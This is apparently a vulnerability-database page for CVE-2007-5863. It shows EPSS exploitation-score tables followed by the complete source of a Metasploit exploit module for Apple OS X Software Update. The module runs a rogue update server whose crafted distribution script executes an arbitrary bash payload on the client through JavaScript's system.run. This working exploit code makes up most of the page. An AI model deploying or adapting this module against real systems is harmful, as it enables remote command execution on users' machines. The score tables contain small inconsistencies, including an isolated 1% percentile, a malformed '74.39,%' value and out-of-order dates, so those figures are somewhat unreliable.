CVE-2007-5863 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	81.54%	–	–
2022-04-17	–	–	81.54%	–	–
2023-03-12	–	–	–	94.77%	–
2023-03-19	–	–	–	94.44%	–
2023-04-23	–	–	–	94.87%	–
2023-05-28	–	–	–	94.63%	–
2023-07-02	–	–	–	94.44%	–
2023-08-06	–	–	–	94.32%	–
2023-09-10	–	–	–	92.82%	–
2023-11-19	–	–	–	91.79%	–
2024-06-02	–	–	–	91.8%	–
2024-09-15	–	–	–	91.74%	–
2024-10-27	–	–	–	90.83%	–
2024-12-22	–	–	–	91.47%	–
2025-02-16	–	–	–	91.54%	–
2025-01-19	–	–	–	91.47%	–
2025-02-16	–	–	–	91.54%	–
2025-03-18	–	–	–	–	64.63%
2025-03-30	–	–	–	–	65.39%
2025-04-06	–	–	–	–	74.39%
2025-04-06	–	–	–	–	74.39,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-04-17	1%
2023-03-12	99%
2023-03-19	99%
2023-04-23	99%
2023-05-28	99%
2023-07-02	99%
2023-08-06	99%
2023-09-10	99%
2023-11-19	99%
2024-06-02	99%
2024-09-15	99%
2024-10-27	99%
2024-12-22	99%
2025-02-16	99%
2025-01-19	99%
2025-02-16	99%
2025-03-18	98%
2025-03-30	98%
2025-04-06	99%
2025-04-06	99%

## # $Id: software_update.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Apple OS X Software Update Command Execution', 'Description' => %q{ This module exploits a feature in the Distribution Packages, which are used in the Apple Software Update mechanism. This feature allows for arbitrary command execution through JavaScript. This exploit provides the malicious update server. Requests must be redirected to this server by other means for this exploit to work. }, 'Author' => [ 'Moritz Jodeit <moritz@jodeit.org>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2007-5863'], ['OSVDB', '40722'], ], 'Payload' => { 'BadChars' => "\x00", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'osx', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, }, ], ], 'DisclosureDate' => 'Dec 17 2007', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ]) ], self.class) end # Encode some characters using character entity references and escape any # quotation characters, by splitting the string into multiple parts. def encode_payload(payload) encoded = payload.gsub(/[&<>"']/) do |s| case s when '&' "&amp;" when '<' "&lt;" when '>' "&gt;" when '"' '"+\'"\'+"' when '\'' "&apos;" end end return '"' + encoded + '"' end # Generate the initial catalog file with references to the # distribution script, which does the actual exploitation. def generate_catalog(server) languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese", "Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ] productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4) distfile = rand_text_alpha(8) + ".dist" sucatalog = '<?xml version="1.0" encoding="UTF-8"?>' sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">' sucatalog << '<plist version="1.0">' sucatalog << '<dict>' sucatalog << '<key>Products</key><dict>' sucatalog << "<key>#{productkey}</key><dict>" sucatalog << '<key>Distributions</key><dict>' languages.each do |l| sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n" end sucatalog << '</dict></dict></dict></dict></plist>' return sucatalog end # Generate distribution script, which calls our payload using JavaScript. def generate_dist(payload) func = rand_text_alpha(8) dist = '<?xml version="1.0" encoding="UTF-8"?>' dist << "<installer-gui-script minSpecVersion='1'>" dist << '<options allow-external-scripts = "yes"/>' dist << "<choices-outline ui='SoftwareUpdate'>" dist << "<line choice='su'/>" dist << "</choices-outline>" dist << "<choice id='su' visible ='#{func}()'/>" dist << "<script>" dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }" dist << "</script>" dist << "</installer-gui-script>" return dist end def on_request_uri(cli, request) date = Time.now server = "swscan.apple.com" header = { 'Content-Type' => 'text/plain', 'Last-Modified' => date, 'Date' => date, } if request.uri =~ /\.sucatalog$/ print_status("Sending initial distribution package to #{cli.peerhost}:#{cli.peerport}") body = generate_catalog(server) elsif request.uri =~ /\.dist$/ print_status("Sending distribution script to #{cli.peerhost}:#{cli.peerport}") return if ((p = regenerate_payload(cli)) == nil) body = generate_dist(p.encoded) else return end send_response(cli, body, header) handler(cli) end end